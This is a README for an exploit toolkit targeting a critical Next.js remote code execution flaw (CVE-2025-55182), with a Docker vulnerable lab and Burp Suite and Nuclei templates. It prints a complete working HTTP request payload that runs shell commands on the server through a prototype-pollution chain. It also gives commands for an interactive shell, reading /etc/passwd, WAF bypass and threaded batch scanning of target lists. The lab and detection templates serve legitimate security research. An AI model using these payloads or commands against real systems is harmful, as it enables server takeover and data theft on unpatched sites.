🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Next.js RCE Remote Code Execution

Exploit framework + vulnerable lab + Burp Suite & Nuclei validation.

Complete exploitation framework and vulnerable lab environment for security research and penetration testing.

╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 Exploitation Tool                 ║
║                                                               ║
║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 Overview

React2Shell-Exploit-Kensei is a comprehensive toolkit for exploiting CVE-2025-55182, a critical remote code execution vulnerability in Next.js applications.

It includes:

• 🐍 Python exploit (automated + manual modes)
• 🐳 Docker vulnerable lab (Next.js 16.0.6)
• 🔥 Burp Suite exploitation templates
• 🚨 Nuclei detection template
• 🧪 Validated test cases

Affected Versions:

• Next.js < 16.0.7
• React 19.0.0

CVSS Score: 10.0 (Critical)

✨ Features

🔨 Exploitation

✅ Automated Exploitation
✅ Interactive Shell
✅ Command Execution
✅ File Reading
✅ WAF Bypass
✅ Batch Scanning

🧪 Lab Environment Docker Installation - Prerequisites

You must have Docker installed to run the vulnerable lab.

Verify installation:

docker --version

📖 Documentation

✅ Burp Suite Guide
✅ Nuclei Template
✅ Complete Examples

🚀 Quick Start

# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 Usage Examples

Scan

python3 react2shell-exploit.py --url http://target.com --scan

Execute Command

python3 react2shell-exploit.py --url http://target.com --cmd "id"

Interactive Shell

python3 react2shell-exploit.py --url http://target.com --shell

Read File

python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

WAF Bypass

python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

Batch Scan

python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 Manual Exploitation

Burp Suite

Verified Working - Request Template:

POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Expected Response:

"children":["__PAGE__?{\"out\":\"root\"}",{}]

Manually testing WHOAMI:

Manually testing IFCONFIG:

Alternative Automated Detection Methods:

• ✅ Extensibility Helper extension:
  1. Go to Extensions:
  2. Install "Extensibility Helper" and go to it

3. Go to "Bambda Store"
4. Look for "CVE-2025-55182,CVE-2025-66478 - React2Shell"

5. click on "import"

6. Run an "Audit Selected Items"

7. Validate in Custome Tab that "CVE-2025-55182,CVE-2025-66478 - React2Shell" is checked

• ✅ ActiveScan++: Automated detection

Nuclei

Verified Working:

nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

Output:

[CVE-2025-55182] [http] [critical] http://target.com:3002/

🐺 Credits

Author: Ruben Suxo - Ethical Hacker (kensei)
Version: 2.5.0
Date: 2025-12-06

Research & Inspiration

This project builds upon research and techniques from:

• assetnote/react2shell-scanner - Scanner implementation
• freeqaz/react2shell - Exploitation techniques
• whiteov3rflow/CVE-2025-55182-poc - Proof of concept

Vulnerability Discovery

• Lachlan Davidson (@lachlan2k) - Original CVE-2025-55182 discovery

⚠️ Legal Disclaimer

For authorized security testing only.

Unauthorized access is illegal. Use only on systems you own or have explicit permission to test.

📄 License

MIT License

🐺 Hack The Planet - Responsibly

For educational purposes only. Use ethically.